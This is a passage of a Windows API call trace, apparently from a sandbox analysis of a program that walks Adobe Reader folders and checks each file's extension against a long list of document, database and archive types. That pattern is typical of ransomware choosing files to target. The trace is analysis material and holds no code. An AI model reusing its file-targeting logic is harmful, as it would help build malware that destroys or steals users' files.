returned 1 [0274.401] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0274.402] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn") returned 119 [0274.402] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn") returned 1 [0274.402] lstrlenW (lpString="zh-cn") returned 5 [0274.402] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="zh-cn") returned -1 [0274.402] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0274.402] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn") returned 119 [0274.402] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0274.402] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.402] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6bf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.402] lstrlenW (lpString="ui-strings.js") returned 13 [0274.402] lstrlenW (lpString=".1cd") returned 4 [0274.402] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0274.402] lstrlenW (lpString=".3ds") returned 4 [0274.402] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0274.402] lstrlenW (lpString=".3fr") returned 4 [0274.402] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0274.402] lstrlenW (lpString=".3g2") returned 4 [0274.402] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0274.403] lstrlenW (lpString=".3gp") returned 4 [0274.403] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0274.403] lstrlenW (lpString=".7z") returned 3 [0274.403] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0274.403] lstrlenW (lpString=".accda") returned 6 [0274.403] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0274.403] lstrlenW (lpString=".accdb") returned 6 [0274.403] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0274.403] lstrlenW (lpString=".accdc") returned 6 [0274.403] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0274.403] lstrlenW (lpString=".accde") returned 6 [0274.403] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0274.403] lstrlenW (lpString=".accdt") returned 6 [0274.403] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0274.403] lstrlenW (lpString=".accdw") returned 6 [0274.403] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0274.403] lstrlenW (lpString=".adb") returned 4 [0274.403] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0274.403] lstrlenW (lpString=".adp") returned 4 [0274.403] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0274.403] lstrlenW (lpString=".ai") returned 3 [0274.403] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0274.403] lstrlenW (lpString=".ai3") returned 4 [0274.403] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0274.403] lstrlenW (lpString=".ai4") returned 4 [0274.403] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0274.404] lstrlenW (lpString=".ai5") returned 4 [0274.404] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0274.404] lstrlenW (lpString=".ai6") returned 4 [0274.404] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0274.404] lstrlenW (lpString=".ai7") returned 4 [0274.404] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0274.404] lstrlenW (lpString=".ai8") returned 4 [0274.404] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0274.404] lstrlenW (lpString=".anim") returned 5 [0274.404] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0274.404] lstrlenW (lpString=".arw") returned 4 [0274.404] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0274.404] lstrlenW (lpString=".as") returned 3 [0274.404] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0274.404] lstrlenW (lpString=".asa") returned 4 [0274.404] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0274.404] lstrlenW (lpString=".asc") returned 4 [0274.404] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0274.404] lstrlenW (lpString=".ascx") returned 5 [0274.404] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0274.404] lstrlenW (lpString=".asm") returned 4 [0274.404] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0274.404] lstrlenW (lpString=".asmx") returned 5 [0274.405] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0274.405] lstrlenW (lpString=".asp") returned 4 [0274.405] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0274.405] lstrlenW (lpString=".aspx") returned 5 [0274.405] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0274.405] lstrlenW (lpString=".asr") returned 4 [0274.405] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0274.405] lstrlenW (lpString=".asx") returned 4 [0274.405] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0274.405] lstrlenW (lpString=".avi") returned 4 [0274.405] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0274.405] lstrlenW (lpString=".avs") returned 4 [0274.405] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0274.405] lstrlenW (lpString=".backup") returned 7 [0274.405] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0274.405] lstrlenW (lpString=".bak") returned 4 [0274.405] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0274.405] lstrlenW (lpString=".bay") returned 4 [0274.406] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0274.406] lstrlenW (lpString=".bd") returned 3 [0274.406] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0274.406] lstrlenW (lpString=".bin") returned 4 [0274.406] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0274.406] lstrlenW (lpString=".bmp") returned 4 [0274.406] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0274.406] lstrlenW (lpString=".bz2") returned 4 [0274.406] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0274.406] lstrlenW (lpString=".c") returned 2 [0274.406] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0274.406] lstrlenW (lpString=".cdr") returned 4 [0274.406] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0274.406] lstrlenW (lpString=".cer") returned 4 [0274.406] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0274.406] lstrlenW (lpString=".cf") returned 3 [0274.406] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0274.406] lstrlenW (lpString=".cfc") returned 4 [0274.406] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0274.406] lstrlenW (lpString=".cfm") returned 4 [0274.406] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0274.406] lstrlenW (lpString=".cfml") returned 5 [0274.406] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0274.406] lstrlenW (lpString=".cfu") returned 4 [0274.406] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0274.406] lstrlenW (lpString=".chm") returned 4 [0274.406] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0274.407] lstrlenW (lpString=".cin") returned 4 [0274.407] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0274.407] lstrlenW (lpString=".class") returned 6 [0274.407] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0274.407] lstrlenW (lpString=".clx") returned 4 [0274.407] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0274.407] lstrlenW (lpString=".config") returned 7 [0274.407] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0274.407] lstrlenW (lpString=".cpp") returned 4 [0274.407] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0274.407] lstrlenW (lpString=".cr2") returned 4 [0274.407] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0274.407] lstrlenW (lpString=".crt") returned 4 [0274.407] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0274.407] lstrlenW (lpString=".crw") returned 4 [0274.407] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0274.407] lstrlenW (lpString=".cs") returned 3 [0274.407] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0274.407] lstrlenW (lpString=".css") returned 4 [0274.407] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0274.407] lstrlenW (lpString=".csv") returned 4 [0274.407] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0274.407] lstrlenW (lpString=".cub") returned 4 [0274.407] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0274.407] lstrlenW (lpString=".dae") returned 4 [0274.407] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0274.407] lstrlenW (lpString=".dat") returned 4 [0274.407] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0274.407] lstrlenW (lpString=".db") returned 3 [0274.407] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0274.408] lstrlenW (lpString=".dbf") returned 4 [0274.408] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0274.408] lstrlenW (lpString=".dbx") returned 4 [0274.408] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0274.408] lstrlenW (lpString=".dc3") returned 4 [0274.408] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0274.408] lstrlenW (lpString=".dcm") returned 4 [0274.408] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0274.408] lstrlenW (lpString=".dcr") returned 4 [0274.408] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0274.408] lstrlenW (lpString=".der") returned 4 [0274.408] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0274.408] lstrlenW (lpString=".dib") returned 4 [0274.408] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0274.408] lstrlenW (lpString=".dic") returned 4 [0274.408] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0274.408] lstrlenW (lpString=".dif") returned 4 [0274.408] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0274.408] lstrlenW (lpString=".divx") returned 5 [0274.408] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0274.408] lstrlenW (lpString=".djvu") returned 5 [0274.408] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0274.408] lstrlenW (lpString=".dng") returned 4 [0274.408] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0274.408] lstrlenW (lpString=".doc") returned 4 [0274.408] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0274.408] lstrlenW (lpString=".docm") returned 5 [0274.408] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0274.408] lstrlenW (lpString=".docx") returned 5 [0274.409] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0274.409] lstrlenW (lpString=".dot") returned 4 [0274.409] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0274.409] lstrlenW (lpString=".dotm") returned 5 [0274.409] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0274.409] lstrlenW (lpString=".dotx") returned 5 [0274.409] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0274.409] lstrlenW (lpString=".dpx") returned 4 [0274.409] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0274.409] lstrlenW (lpString=".dqy") returned 4 [0274.409] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0274.409] lstrlenW (lpString=".dsn") returned 4 [0274.409] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0274.409] lstrlenW (lpString=".dt") returned 3 [0274.409] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0274.409] lstrlenW (lpString=".dtd") returned 4 [0274.409] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0274.409] lstrlenW (lpString=".dwg") returned 4 [0274.409] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0274.409] lstrlenW (lpString=".dwt") returned 4 [0274.409] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0274.409] lstrlenW (lpString=".dx") returned 3 [0274.409] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0274.409] lstrlenW (lpString=".dxf") returned 4 [0274.409] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0274.409] lstrlenW (lpString=".edml") returned 5 [0274.409] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0274.409] lstrlenW (lpString=".efd") returned 4 [0274.409] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0274.410] lstrlenW (lpString=".elf") returned 4 [0274.410] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0274.410] lstrlenW (lpString=".emf") returned 4 [0274.410] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0274.410] lstrlenW (lpString=".emz") returned 4 [0274.410] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0274.410] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6bf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.410] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0274.410] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0274.410] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0274.410] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0274.410] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw") returned 119 [0274.410] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315670 [0274.411] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.411] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.411] lstrlenW (lpString="ui-strings.js") returned 13 [0274.411] lstrlenW (lpString=".1cd") returned 4 [0274.411] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0274.411] lstrlenW (lpString=".3ds") returned 4 [0274.411] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0274.411] lstrlenW (lpString=".3fr") returned 4 [0274.411] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0274.411] lstrlenW (lpString=".3g2") returned 4 [0274.411] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0274.411] lstrlenW (lpString=".3gp") returned 4 [0274.411] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0274.411] lstrlenW (lpString=".7z") returned 3 [0274.411] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0274.411] lstrlenW (lpString=".accda") returned 6 [0274.411] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0274.411] lstrlenW (lpString=".accdb") returned 6 [0274.412] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0274.412] lstrlenW (lpString=".accdc") returned 6 [0274.412] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0274.412] lstrlenW (lpString=".accde") returned 6 [0274.412] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0274.412] lstrlenW (lpString=".accdt") returned 6 [0274.412] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0274.412] lstrlenW (lpString=".accdw") returned 6 [0274.412] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0274.412] lstrlenW (lpString=".adb") returned 4 [0274.412] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0274.412] lstrlenW (lpString=".adp") returned 4 [0274.412] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0274.412] lstrlenW (lpString=".ai") returned 3 [0274.412] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0274.412] lstrlenW (lpString=".ai3") returned 4 [0274.412] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0274.412] lstrlenW (lpString=".ai4") returned 4 [0274.412] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0274.412] lstrlenW (lpString=".ai5") returned 4 [0274.412] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0274.412] lstrlenW (lpString=".ai6") returned 4 [0274.412] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0274.412] lstrlenW (lpString=".ai7") returned 4 [0274.412] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0274.412] lstrlenW (lpString=".ai8") returned 4 [0274.412] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0274.412] lstrlenW (lpString=".anim") returned 5 [0274.413] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0274.413] lstrlenW (lpString=".arw") returned 4 [0274.413] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0274.413] lstrlenW (lpString=".as") returned 3 [0274.413] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0274.413] lstrlenW (lpString=".asa") returned 4 [0274.413] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0274.413] lstrlenW (lpString=".asc") returned 4 [0274.413] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0274.413] lstrlenW (lpString=".ascx") returned 5 [0274.413] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0274.413] lstrlenW (lpString=".asm") returned 4 [0274.413] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0274.413] lstrlenW (lpString=".asmx") returned 5 [0274.413] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0274.413] lstrlenW (lpString=".asp") returned 4 [0274.413] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0274.413] lstrlenW (lpString=".aspx") returned 5 [0274.413] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0274.413] lstrlenW (lpString=".asr") returned 4 [0274.413] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0274.413] lstrlenW (lpString=".asx") returned 4 [0274.413] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0274.413] lstrlenW (lpString=".avi") returned 4 [0274.413] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0274.414] lstrlenW (lpString=".avs") returned 4 [0274.414] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0274.414] lstrlenW (lpString=".backup") returned 7 [0274.414] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0274.414] lstrlenW (lpString=".bak") returned 4 [0274.414] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0274.414] lstrlenW (lpString=".bay") returned 4 [0274.414] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0274.414] lstrlenW (lpString=".bd") returned 3 [0274.414] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0274.414] lstrlenW (lpString=".bin") returned 4 [0274.414] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0274.414] lstrlenW (lpString=".bmp") returned 4 [0274.414] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0274.414] lstrlenW (lpString=".bz2") returned 4 [0274.414] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0274.414] lstrlenW (lpString=".c") returned 2 [0274.414] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0274.414] lstrlenW (lpString=".cdr") returned 4 [0274.414] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0274.414] lstrlenW (lpString=".cer") returned 4 [0274.414] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0274.414] lstrlenW (lpString=".cf") returned 3 [0274.414] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0274.414] lstrlenW (lpString=".cfc") returned 4 [0274.414] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0274.414] lstrlenW (lpString=".cfm") returned 4 [0274.415] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0274.415] lstrlenW (lpString=".cfml") returned 5 [0274.415] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0274.415] lstrlenW (lpString=".cfu") returned 4 [0274.415] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0274.415] lstrlenW (lpString=".chm") returned 4 [0274.415] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0274.415] lstrlenW (lpString=".cin") returned 4 [0274.415] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0274.415] lstrlenW (lpString=".class") returned 6 [0274.415] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0274.415] lstrlenW (lpString=".clx") returned 4 [0274.415] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0274.415] lstrlenW (lpString=".config") returned 7 [0274.415] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0274.415] lstrlenW (lpString=".cpp") returned 4 [0274.415] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0274.415] lstrlenW (lpString=".cr2") returned 4 [0274.415] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0274.415] lstrlenW (lpString=".crt") returned 4 [0274.415] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0274.415] lstrlenW (lpString=".crw") returned 4 [0274.415] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0274.415] lstrlenW (lpString=".cs") returned 3 [0274.415] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0274.416] lstrlenW (lpString=".css") returned 4 [0274.416] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0274.416] lstrlenW (lpString=".csv") returned 4 [0274.416] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0274.416] lstrlenW (lpString=".cub") returned 4 [0274.416] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0274.416] lstrlenW (lpString=".dae") returned 4 [0274.416] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0274.416] lstrlenW (lpString=".dat") returned 4 [0274.416] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0274.416] lstrlenW (lpString=".db") returned 3 [0274.416] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0274.416] lstrlenW (lpString=".dbf") returned 4 [0274.416] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0274.416] lstrlenW (lpString=".dbx") returned 4 [0274.416] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0274.416] lstrlenW (lpString=".dc3") returned 4 [0274.416] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0274.416] lstrlenW (lpString=".dcm") returned 4 [0274.416] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0274.416] lstrlenW (lpString=".dcr") returned 4 [0274.416] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0274.416] lstrlenW (lpString=".der") returned 4 [0274.416] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0274.416] lstrlenW (lpString=".dib") returned 4 [0274.416] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0274.416] lstrlenW (lpString=".dic") returned 4 [0274.417] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0274.417] 